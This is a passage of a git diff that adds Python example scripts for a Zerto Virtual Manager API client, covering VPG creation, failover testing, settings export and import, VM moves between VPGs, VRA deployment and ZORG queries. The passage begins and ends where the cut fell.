{site2_folder_identifier}") + break + + # Get VMs from site 1 using ZVM API + site_1_vms = zvm_client.virtualization_sites.get_virtualization_site_vms( + site_identifier=local_site_identifier + ) + logging.info(f"Found {len(site_1_vms)} VMs on site 1") + + def create_vpg_with_vm(vpg_config): + """Create a VPG and add a VM to it""" + try: + vpg_name = vpg_config['vpg_name'] + vm_name = vpg_config['vm_name'] + + # Create VPG settings + basic, journal, recovery, networks = construct_vpg_settings( + vpg_name, local_site_identifier, peer_site_identifier, + site2_datastore_identifier, site2_host_identifier, + resource_pool_identifier, site2_folder_identifier, site2_network_identifier + ) + + # Create VPG + vpg_id = zvm_client.vpgs.create_vpg( + basic=basic, journal=journal, recovery=recovery, networks=networks, sync=True + ) + logging.info(f"VPG {vpg_name} created successfully with ID: {vpg_id}") + + # Find and add VM to VPG + vm = next((vm for vm in site_1_vms if vm.get('VmName') == vm_name), None) + if vm: + vm_payload = { + "VmIdentifier": vm.get('VmIdentifier'), + "Recovery": { + "HostIdentifier": site2_host_identifier, + "DatastoreIdentifier": site2_datastore_identifier, + "FolderIdentifier": site2_folder_identifier + } + } + task_id = zvm_client.vpgs.add_vm_to_vpg(vpg_name, vm_list_payload=vm_payload) + logging.info(f"Task ID: {task_id} to add VM {vm_name} to VPG {vpg_name}") + return vpg_name, vpg_id + else: + logging.error(f"VM {vm_name} not found") + return vpg_name, None + except Exception as e: + logging.error(f"Error creating VPG {vpg_name}: {e}") + return vpg_name, None + + # Create VPGs in parallel + with ThreadPoolExecutor(max_workers=len(vpg_structure)) as executor: + # Submit all VPG creation tasks + future_to_vpg = { + executor.submit(create_vpg_with_vm, vpg_config): vpg_config + for vpg_config in vpg_structure + } + + # Wait for all tasks to complete + created_vpgs = [] + for future in as_completed(future_to_vpg): + vpg_name, vpg_id = future.result() + if vpg_id: + created_vpgs.append(vpg_name) + logging.info(f"Successfully created VPG {vpg_name}") + + # Wait for all VPGs to reach MeetingSLA status + if created_vpgs: + logging.info("Waiting for VPGs to reach MeetingSLA status...") + while True: + all_vpgs_ready = True + for vpg_name in created_vpgs: + vpg_info = zvm_client.vpgs.list_vpgs(vpg_name=vpg_name) + status = vpg_info.get('Status') + substatus = vpg_info.get('SubStatus') + logging.info(f"VPG {vpg_name} - Status: {ZertoVPGStatus.get_name_by_value(status)}, " + f"SubStatus: {ZertoVPGSubstatus.get_name_by_value(substatus)}") + + if not ((status == ZertoVPGStatus.MeetingSLA.value and + (substatus == ZertoVPGSubstatus.Sync.value or substatus == ZertoVPGSubstatus.NONE.value)) or + (status == ZertoVPGStatus.HistoryNotMeetingSLA.value)): + all_vpgs_ready = False + break + + if all_vpgs_ready: + logging.info("All VPGs are now meeting SLA") + break + + logging.info("Waiting for VPGs to reach MeetingSLA status...") + time.sleep(30) # Wait 30 seconds before checking again + + input("Press Enter to start parallel failover tests for both VPGs...") + + # Run parallel failover tests + failover_results = run_parallel_failover_tests(zvm_client, created_vpgs) + logging.info(f"Failover results: {json.dumps(failover_results, indent=4)}") + + input("Press Enter to stop failover tests and rollback both VPGs...") + + # Stop failover tests in parallel + with ThreadPoolExecutor(max_workers=len(created_vpgs)) as executor: + futures = [ + executor.submit(zvm_client.vpgs.stop_failover_test, vpg_name) + for vpg_name in created_vpgs + ] + for future in as_completed(futures): + try: + task_id = future.result() + logging.info(f"Failover test stop initiated, task ID: {task_id}") + except Exception as e: + logging.error(f"Error stopping failover test: {e}") + + # After running failover tests + for vpg_name in created_vpgs: + # Get the latest failover test report + latest_report = zvm_client.recovery_reports.get_latest_failover_test_report(vpg_name) + if latest_report: + logging.info(f"Failover test report for {vpg_name} latest_report=:{json.dumps(latest_report, indent=4)}") + + input("Press Enter to delete both VPGs...") + + # Delete both VPGs + zvm_client.vpgs.delete_vpg(created_vpgs[0], force=True, keep_recovery_volumes=False) + logging.info(f"VPG {created_vpgs[0]} deleted successfully.") + + zvm_client.vpgs.delete_vpg(created_vpgs[1], force=True, keep_recovery_volumes=False) + logging.info(f"VPG {created_vpgs[1]} deleted successfully.") + + except Exception as e: + logging.exception("Error:") + logging.error(f"Error: {e}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vpg_setting_export_example.py b/examples/vpg_setting_export_example.py new file mode 100644 index 0000000..27ca55d --- /dev/null +++ b/examples/vpg_setting_export_example.py @@ -0,0 +1,181 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto VPG Settings Export/Import Example Script + +This script demonstrates how to export and import Virtual Protection Group (VPG) settings +using the Zerto Virtual Manager (ZVM) API. It allows for backup and restoration of VPG +configurations, which is useful for disaster recovery planning and VPG replication. + +Key Features: +1. VPG Settings Export: + - Export settings for specific VPGs or all VPGs + - Save exported settings to a JSON file + - Include all VPG configuration parameters + - Capture recovery site mappings + +2. Settings Verification: + - List all available exported settings + - Read and display detailed settings + - Show summary of exported VPG configurations + - Verify export timestamp and status + +3. VPG Settings Import: + - Import settings back to create new VPGs + - Restore original VPG configurations + - Support for multiple VPGs in single operation + - Validate import results + +Required Arguments: + --zvm_address: Protected site ZVM address + --client_id: Protected site Keycloak client ID + --client_secret: Protected site Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + --vpg_names: Comma-separated list of VPG names to export (optional) + --output_file: File path to save exported settings (optional) + +Example Usage: + python examples/vpg_setting_export_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --vpg_names "VpgTest1,VpgTest2" \ + --output_file "vpg_settings.json" \ + --ignore_ssl + +Script Flow: +1. Connects to protected site ZVM +2. Exports VPG settings: + - For specified VPGs if vpg_names provided + - For all VPGs if no vpg_names specified +3. Saves settings to file if output_file specified +4. Verifies export by reading settings +5. Displays VPG configuration summaries: + - VPG names + - Source and target sites + - RPO and journal history +6. Pauses for manual VPG deletion +7. Imports settings to recreate VPGs +8. Verifies import success + +Note: This script requires only protected site credentials. It's designed for VPG +configuration backup and restore scenarios, allowing you to quickly recreate VPGs +with identical settings after changes or in disaster recovery situations. +""" +import argparse +import logging +logging.basicConfig( + level=logging.DEBUG, + format='%(asctime)s - %(levelname)s - %(message)s' +) +import urllib3 +import json +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +from zvml import ZVMLClient + +# Disable SSL warningss +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def main(): + parser = argparse.ArgumentParser(description="Export and Import VPG settings example") + parser.add_argument("--zvm_address", required=True, help="Site 1 ZVM address") + parser.add_argument('--client_id', required=True, help='Site 1 Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Site 1 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + parser.add_argument("--vpg_names", help="Comma-separated list of VPG names to export settings for") + parser.add_argument("--output_file", help="Optional file to save the exported settings") + args = parser.parse_args() + + try: + # Setup client + client = setup_client(args) + + # If no VPG names provided, get all VPGs + if not args.vpg_names: + vpgs = client.vpgs.list_vpgs() + vpg_names = [vpg['VpgName'] for vpg in vpgs] + logging.info(f"No VPG names provided, exporting all {len(vpg_names)} VPGs") + else: + # Split the comma-separated string and strip whitespace + vpg_names = [name.strip() for name in args.vpg_names.split(',')] + logging.info(f"Exporting settings for VPGs: {vpg_names}") + + # Step 1: Export VPG settings + print("\nStep 1: Exporting VPG settings...") + result = client.vpgs.export_vpg_settings(vpg_names) + + print("Export Result:") + print(f"Timestamp: {result.get('TimeStamp')}") + print(f"Result: {result.get('ExportResult', {}).get('Result')}") + print(f"Message: {result.get('ExportResult', {}).get('Message')}") + + # Save to file if specified + if args.output_file: + with open(args.output_file, 'w') as f: + json.dump(result, f, indent=2) + print(f"\nExported settings saved to: {args.output_file}") + + # Step 2: Verify export and read settings + print("\nStep 2: Reading exported settings...") + exported_settings = client.vpgs.list_exported_vpg_settings() + export_timestamp = result.get('TimeStamp', '').split('.')[0] + '.000Z' + + if any(setting.get('TimeStamp') == export_timestamp for setting in exported_settings): + print(f"Found export with timestamp {export_timestamp}") + settings = client.vpgs.read_exported_vpg_settings(export_timestamp) + + # Display summary of exported VPG settings + vpg_settings = settings.get('ExportedVpgSettingsApi', []) + print(f"\nFound settings for {len(vpg_settings)} VPGs:") + for vpg in vpg_settings: + basic = vpg.get('Basic', {}) + print(f"\nVPG Name: {basic.get('Name')}") + print(f"Source Site: {vpg.get('SourceSiteName')}") + print(f"Target Site: {vpg.get('TargetSiteName')}") + print(f"RPO (seconds): {basic.get('RpoInSeconds')}") + print(f"Journal History (hours): {basic.get('JournalHistoryInHours')}") + + #pause + input("Delte VPG manually and Press Enter to continue...") + + # Step 3: Import the settings back + print("\nStep 3: Importing VPG settings...") + import_result = client.vpgs.import_vpg_settings(settings) + print("\nImport Result:") + print(f"Result: {import_result.get('Result')}") + print(f"Message: {import_result.get('Message')}") + if import_result.get('VpgSettingsIds'): + print(f"Created VPG Settings IDs: {', '.join(import_result.get('VpgSettingsIds'))}") + + #pause + input("Look at the VPG and verify whether the manual channges are reverted back to the original settings. Press Enter to continue...") + else: + print(f"\nWarning: Export with timestamp {export_timestamp} not found in exported settings list") + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vpg_vms_example.py b/examples/vpg_vms_example.py new file mode 100644 index 0000000..8792855 --- /dev/null +++ b/examples/vpg_vms_example.py @@ -0,0 +1,304 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. +""" +Zerto VPG VM Management Example Script + +This script demonstrates how to manage Virtual Machines (VMs) within Virtual Protection Groups (VPGs) +using the Zerto Virtual Manager (ZVM) API. It showcases VPG creation, VM addition/removal, and cleanup. + +Key Features: +1. Site Management: + - Connect to protected site + - Retrieve local and peer site identifiers + - Manage cross-site replication using peer site information + +2. VPG Operations: + - Create multiple VPGs with custom settings + - Add multiple VMs to a VPG + - Remove VMs from VPGs + - Move VMs between VPGs + - Clean up resources + +3. Resource Management: + - Identify and select peer site datastores, hosts, networks, folders and resource pools + +Required Arguments: + --zvm_address: Protected site ZVM address + --client_id: Protected site Keycloak client ID + --client_secret: Protected site Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/vpg_vms_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl + +Note: This script requires credentials only for the protected site. All recovery site information +is retrieved using the peer site API, eliminating the need for direct access to the recovery site. + +Script Flow: +1. Connects to protected site ZVM +2. Gets local and peer site information +3. Creates first VPG 'VpgTest1' +4. Adds two VMs (vm1 and vm2) to first VPG +5. Removes vm1 from first VPG +6. Creates second VPG 'VpgTest2' +7. Adds removed VM (vm1) to second VPG +8. Cleans up by deleting both VPGs +""" + +import logging +# Configure logging before any other imports or code +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' +) + +import argparse +import urllib3 +import json +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +from zvml import ZVMLClient + + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_clients(args): + """ + Initialize and return Zerto clients and their local site identifiers for both sites + + Args: + args: Parsed command line arguments + + Returns: + tuple: (client1, local_site1_id, local_peer_id) + """ + # Create clients for both sites + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + return client + +def main(): + parser = argparse.ArgumentParser(description="zvml Client") + parser.add_argument("--zvm_address", required=True, help="Site 1 ZVM address") + parser.add_argument('--client_id', required=True, help='Site 1 Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Site 1 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + parser.add_argument("--vm1", required=True, help="Name of first VM to protect") + parser.add_argument("--vm2", required=True, help="Name of second VM to protect") + args = parser.parse_args() + + try: + # Setup clients and get site identifiers + client1 = setup_clients(args) + + virtualization_sites = client1.virtualization_sites.get_virtualization_sites() + logging.debug(f"Virtualization Sites: {json.dumps(virtualization_sites, indent=4)}") + + # Get local site ids + local_site_identifier = client1.localsite.get_local_site().get('SiteIdentifier') + logging.info(f"Site 1 Local Site ID: {local_site_identifier}") + + peer_site_identifier = next((site['SiteIdentifier'] for site in virtualization_sites if site['SiteIdentifier'] != local_site_identifier), None) + logging.info(f"Site 2 Local Site ID: {peer_site_identifier}") + + # Get datastore identifier from site 2 + peer_datastores = client1.virtualization_sites.get_virtualization_site_datastores( + site_identifier=peer_site_identifier + ) + logging.debug(f"Site 2 Datastores: {json.dumps(peer_datastores, indent=4)}") + + selected_datastore = next((ds for ds in peer_datastores if ds.get('DatastoreName') == "DS_VM_Right"), None) + peer_datastore_identifier = selected_datastore.get('DatastoreIdentifier') + logging.info(f"Site 2 Datastore ID: {peer_datastore_identifier}") + + # Fill basic VPG settings info + vpg_name = 'VpgTest1' + basic = { + "Name": vpg_name, + "VpgType": "Remote", + "RpoInSeconds": 300, + "JournalHistoryInHours": 1, + "Priority": "Medium", + "UseWanCompression": True, + "ProtectedSiteIdentifier": local_site_identifier, + "RecoverySiteIdentifier": peer_site_identifier + } + # Fill journal structure + journal = { + "DatastoreIdentifier": peer_datastore_identifier, + "Limitation": { + "HardLimitInMB": 153600, + "WarningThresholdInMB": 115200 + } + } + + resource_pools = client1.virtualization_sites.get_virtualization_site_resource_pools( + site_identifier=peer_site_identifier + ) + logging.debug(f"Resource Pools: {json.dumps(resource_pools, indent=4)}") + + # Extract resource pool identifier from the first resource pool on the list + if resource_pools: + resource_pool_identifier = resource_pools[0].get('Identifier') + logging.info(f"Resource Pool Identifier from the first resource pool: {resource_pool_identifier}") + else: + logging.error("No resource pools found on site 2.") + return + + # List networks from peer site + networks_list = client1.virtualization_sites.get_virtualization_site_networks( + site_identifier=peer_site_identifier + ) + logging.debug(f"Networks: {json.dumps(networks_list, indent=4)}") + + # Extract network identifier from the first network on the list + if networks_list: + network_identifier = networks_list[0].get('NetworkIdentifier') + logging.info(f"Network Identifier from the first network: {network_identifier}") + else: + logging.error("No networks found on site 2.") + return + + #list folders from peer + folders = client1.virtualization_sites.get_virtualization_site_folders( + site_identifier=peer_site_identifier + ) + logging.debug(f"Site 2 Folders: {json.dumps(folders, indent=4)}") + + for folder in folders: + if folder.get('FolderName') == '/': + peer_folder_identifier = folder.get('FolderIdentifier') + logging.info(f"Folder Identifier: {peer_folder_identifier}") + break + + peer_hosts = client1.virtualization_sites.get_virtualization_site_hosts( + site_identifier=peer_site_identifier + ) + logging.debug(f"Site 2 Hosts: {json.dumps(peer_hosts, indent=4)}") + + # get the second host from the list + peer_site_host_identifier = peer_hosts[1].get('HostIdentifier') + logging.info(f"Host Identifier from the second host: {peer_site_host_identifier}") + + # Fill recovery structure + recovery = { + "DefaultHostIdentifier": peer_site_host_identifier, + "DefaultDatastoreIdentifier": peer_datastore_identifier, + "DefaultResourcePoolIdentifier": resource_pool_identifier, + "DefaultFolderIdentifier": peer_folder_identifier + } + + # Fill Networks structure + networks = { + "Failover": { + "Hypervisor": { + "DefaultNetworkIdentifier": network_identifier + } + }, + "FailoverTest": { + "Hypervisor": { + "DefaultNetworkIdentifier": network_identifier + } + } + } + + input("Press Enter to create the first VPG...") + + vpg_id = client1.vpgs.create_vpg(basic=basic, journal=journal, + recovery=recovery, networks=networks, sync=True) + logging.info(f"VPG ID: {vpg_id} created successfully.") + + # Add VMs to the first VPG + vms = client1.virtualization_sites.get_virtualization_site_vms( + site_identifier=local_site_identifier + ) + logging.debug(f"Site 1 VMs: {json.dumps(vms, indent=4)}") + + vms_to_add = [args.vm1, args.vm2] + vm_list = [] + for vm in vms: + logging.info(f"VM: Name={vm.get('VmName')}, VM Identifier={vm.get('VmIdentifier')}") + if vm.get('VmName') in vms_to_add: + logging.info(f"Adding VM {vm.get('VmName')} to VPG...") + vm_payload = { + "VmIdentifier": vm.get('VmIdentifier'), + "Recovery": { + "HostIdentifier": peer_site_host_identifier, + "DatastoreIdentifier": peer_datastore_identifier, + "FolderIdentifier": peer_folder_identifier + } + } + vm_list.append(vm_payload) + task_id = client1.vpgs.add_vm_to_vpg(vpg_name, vm_list_payload=vm_payload) + logging.info(f"Task ID: {task_id} to add VM {vm.get('VmName')} to VPG.") + + input(f"Press Enter to remove {args.vm1} VM from the first VPG...") + + # Remove first VM from the first VPG + vm_to_remove = args.vm1 + vm_identifier_to_remove = None + for vm in vms: + if vm.get('VmName') == vm_to_remove: + vm_identifier_to_remove = vm.get('VmIdentifier') + task_id = client1.vpgs.remove_vm_from_vpg(vpg_name, vm_identifier_to_remove) + logging.info(f"Task ID: {task_id} to remove VM {vm_to_remove} from VPG {vpg_name}") + break + + input("Press Enter to create second VPG...") + + # Create second VPG + vpg_name_2 = 'VpgTest2' + basic['Name'] = vpg_name_2 # Update VPG name for second VPG + + vpg_id_2 = client1.vpgs.create_vpg(basic=basic, journal=journal, + recovery=recovery, networks=networks, sync=True) + logging.info(f"Second VPG ID: {vpg_id_2} created successfully.") + + # Add the removed VM to the second VPG + if vm_identifier_to_remove: + vm_payload = { + "VmIdentifier": vm_identifier_to_remove, + "Recovery": { + "HostIdentifier": peer_site_host_identifier, + "DatastoreIdentifier": peer_datastore_identifier, + "FolderIdentifier": peer_folder_identifier + } + } + task_id = client1.vpgs.add_vm_to_vpg(vpg_name_2, vm_list_payload=vm_payload) + logging.info(f"Task ID: {task_id} to add VM {vm_to_remove} to VPG {vpg_name_2}") + + except Exception as e: + logging.exception("Error:") + logging.error(f"Error: {e}") + + + # wait for user input to continue + input("Press Enter to delete the VPGs...") + + # Delete the VPGs + client1.vpgs.delete_vpg(vpg_name, force=True, keep_recovery_volumes=False) + logging.info(f"VPG {vpg_name} deleted successfully.") + client1.vpgs.delete_vpg(vpg_name_2, force=True, keep_recovery_volumes=False) + logging.info(f"VPG {vpg_name_2} deleted successfully.") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vras_example.py b/examples/vras_example.py new file mode 100644 index 0000000..a26a47d --- /dev/null +++ b/examples/vras_example.py @@ -0,0 +1,262 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Virtual Replication Appliance (VRA) Management Example Script + +This script demonstrates how to manage VRAs using the Zerto Virtual Manager (ZVM) API. +It showcases VRA deployment, configuration, and cleanup operations. + +Key Features: +1. VRA Management: + - List existing VRAs and their details + - Delete existing VRAs + - Deploy new VRAs with custom configurations + - Monitor VRA deployment status + +2. Resource Selection: + - Interactive selection of hosts + - Interactive selection of datastores + - Interactive selection of networks + - Custom IP configuration for VRAs + +3. Parallel Operations: + - Deploy multiple VRAs simultaneously + - Delete multiple VRAs in parallel + - Monitor multiple VRA operations + +Required Arguments: + --zvm_address: ZVM server address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/vras_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl + +Script Flow: +1. Lists all existing VRAs and their details +2. Optionally deletes all existing VRAs +3. Creates new VRAs with user-selected resources: + - First VRA with IP 192.168.111.30 + - Second VRA with IP 192.168.111.31 (optional) +4. Verifies final VRA configuration + +Note: This script includes interactive prompts for resource selection and operation +confirmation. It demonstrates proper error handling and logging for VRA management +operations. +""" + +#!/usr/bin/python3 +import argparse +import logging +# logging.basicConfig(level=logging.DEBUG) +import urllib3 +import json +import sys +import os +import time +from typing import Dict, List +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def get_user_confirmation(prompt: str) -> bool: + """Get user confirmation for an action""" + while True: + response = input(f"\n{prompt} (yes/no): ").lower().strip() + if response in ['yes', 'y']: + return True + if response in ['no', 'n']: + return False + print("Please answer 'yes' or 'no'") + +def select_from_list(items, item_type: str): + """Let user select an item from a list""" + logging.info(f"select_from_list: {json.dumps(items, indent=2)}") + print(f"\nAvailable {item_type}s:") + for idx, item in enumerate(items, 1): + if 'VirtualizationHostName' in item: # For hosts + print(f"{idx}. {item['VirtualizationHostName']} ({item['HostIdentifier']})") + elif 'DatastoreName' in item: # For datastores + print(f"{idx}. {item['DatastoreName']} ({item['DatastoreIdentifier']})") + elif 'VirtualizationNetworkName' in item: # For networks + print(f"{idx}. {item['VirtualizationNetworkName']} ({item['NetworkIdentifier']})") + + while True: + try: + choice = int(input(f"\nSelect {item_type} (1-{len(items)}): ")) + if 1 <= choice <= len(items): + return items[choice - 1] + except ValueError: + pass + print(f"Please enter a number between 1 and {len(items)}") + +def list_vras(client: ZVMLClient): + """List all VRAs and their details""" + vras = client.vras.list_vras() + print(f"\nFound {len(vras)} VRAs:") + for vra in vras: + print(f"\nVRA Details:") + print(f" Name: {vra.get('VraName')}") + print(f" Status: {vra.get('Status')}") + print(f" IP Address: {vra.get('IpAddress')}") + print(f" Version: {vra.get('VraVersion')}") + print(f" Host: {vra.get('HostName')}") + +def create_vra_with_selection(client: ZVMLClient, vra_number: int) -> Dict: + """Create a VRA with user-selected resources""" + # Get local site information + local_site = client.localsite.get_local_site() + site_id = local_site['SiteIdentifier'] + + # Get available resources for the local site + print("\nRetrieving available resources...") + hosts = client.virtualization_sites.get_virtualization_site_hosts(site_id) + if not hosts: + raise ValueError("No hosts found in local site") + + datastores = client.virtualization_sites.get_virtualization_site_datastores(site_id) + if not datastores: + raise ValueError("No datastores found in local site") + + networks = client.virtualization_sites.get_virtualization_site_networks(site_id) + if not networks: + raise ValueError("No networks found in local site") + + # Let user select resources + print("\nSelect resources for VRA deployment:") + host = select_from_list(hosts, "Host") + datastore = select_from_list(datastores, "Datastore") + network = select_from_list(networks, "Network") + + while True: + # Let user customize IP address + default_ip = f"192.168.111.{30 + vra_number - 1}" + custom_ip = input(f"\nEnter VRA IP address (press Enter to use default {default_ip}): ").strip() + vra_ip = custom_ip if custom_ip else default_ip + + # Create VRA configuration + vra_config = { + "hostIdentifier": host['HostIdentifier'], + "datastoreIdentifier": datastore['DatastoreIdentifier'], + "networkIdentifier": network['NetworkIdentifier'], + "hostRootPassword": input("\nEnter host root password: "), + "memoryInGb": 3, + "groupName": f"VRA_Group{vra_number}", + "vraNetworkDataApi": { + "vraIPConfigurationTypeApi": "Static", + "vraIPAddress": vra_ip, + "vraIPAddressRangeEnd": "", + "subnetMask": "255.255.255.0", + "defaultGateway": "192.168.111.254" + }, + "usePublicKeyInsteadOfCredentials": False, + "populatePostInstallation": True, + "numOfCpus": 1, + "vmInstanceType": "" + } + + # Create VRA + print(f"\nCreating VRA {vra_number} with configuration:") + print(json.dumps(vra_config, indent=2)) + + response = input("\nProceed with VRA creation? (yes/no/edit): ").lower().strip() + if response in ['yes', 'y']: + result = client.vras.create_vra(vra_config) + print(f"VRA creation initiated: {json.dumps(result, indent=2)}") + return result + elif response in ['no', 'n']: + return None + elif response in ['edit', 'e']: + print("\nRestarting VRA configuration...") + continue + else: + print("Please answer 'yes', 'no', or 'edit'") + +def main(): + parser = argparse.ArgumentParser(description="VRA Management Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Setup client + client = setup_client(args) + + # Step 1: List existing VRAs + print("\nStep 1: Listing existing VRAs...") + list_vras(client) + + # Step 2: Ask for deletion confirmation + if get_user_confirmation("Would you like to delete all existing VRAs?"): + print("\nStep 2: Deleting existing VRAs...") + vras = client.vras.list_vras() + for vra in vras: + vra_id = vra.get('VraIdentifier') + print(f"Deleting VRA: {vra.get('VraName')} ({vra_id})") + client.vras.delete_vra(vra_id) + print("Waiting for deletion to complete...") + time.sleep(5) # Give some time for deletion to process + + # Step 3: Create new VRAs + if get_user_confirmation("Would you like to create new VRAs?"): + print("\nStep 3: Creating new VRAs...") + + # Create first VRA + print("\nConfiguring first VRA...") + result1 = create_vra_with_selection(client, 1) + if result1: + print("Waiting for first VRA deployment to complete...") + time.sleep(30) + + # Create second VRA + if get_user_confirmation("Would you like to create a second VRA?"): + print("\nConfiguring second VRA...") + result2 = create_vra_with_selection(client, 2) + if result2: + print("Waiting for second VRA deployment to complete...") + time.sleep(30) + + # Step 4: Verify final state + print("\nStep 4: Verifying final VRA configuration...") + list_vras(client) + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/zorgs_example.py b/examples/zorgs_example.py new file mode 100644 index 0000000..309c899 --- /dev/null +++ b/examples/zorgs_example.py @@ -0,0 +1,139 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Organizations (ZORG) Management Example Script + +This script demonstrates how to manage Zerto Organizations (ZORGs) using the Zerto Virtual Manager (ZVM) API. +It showcases ZORG querying and information retrieval operations. + +Key Features: +1. ZORG Management: + - List all ZORGs in the environment + - Query specific ZORG details by ID + - Retrieve detailed ZORG information + - Demonstrate ZORG filtering capabilities + +2. Information Retrieval: + - Get ZORG identifiers + - Access ZORG configuration details + - View ZORG relationships and permissions + - Monitor ZORG status + +3. Error Handling: + - Robust error handling for API requests + - Detailed logging of operations + - Graceful handling of missing ZORGs + +Required Arguments: + --zvm_address: ZVM server address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + --zorg_id: Optional specific ZORG ID to query + +Example Usage: + python examples/zorgs_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl \ + --zorg_id "optional-zorg-id" + +Script Flow: +1. Connects to ZVM server +2. Lists all available ZORGs +3. If specific ZORG ID provided: + - Retrieves detailed information for that ZORG +4. Otherwise: + - Gets details of first available ZORG +5. Outputs detailed ZORG information + +Note: This script demonstrates basic ZORG management capabilities and can be used +as a foundation for more complex ZORG operations and automation. +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Organizations (ZORG) Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + parser.add_argument("--zorg_id", help="Optional: Specific ZORG ID to query") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Test 1: Get all ZORGs + logging.info("\n=== Testing get_zorgs (all) ===") + try: + zorgs = client.zorgs.get_zorgs() + 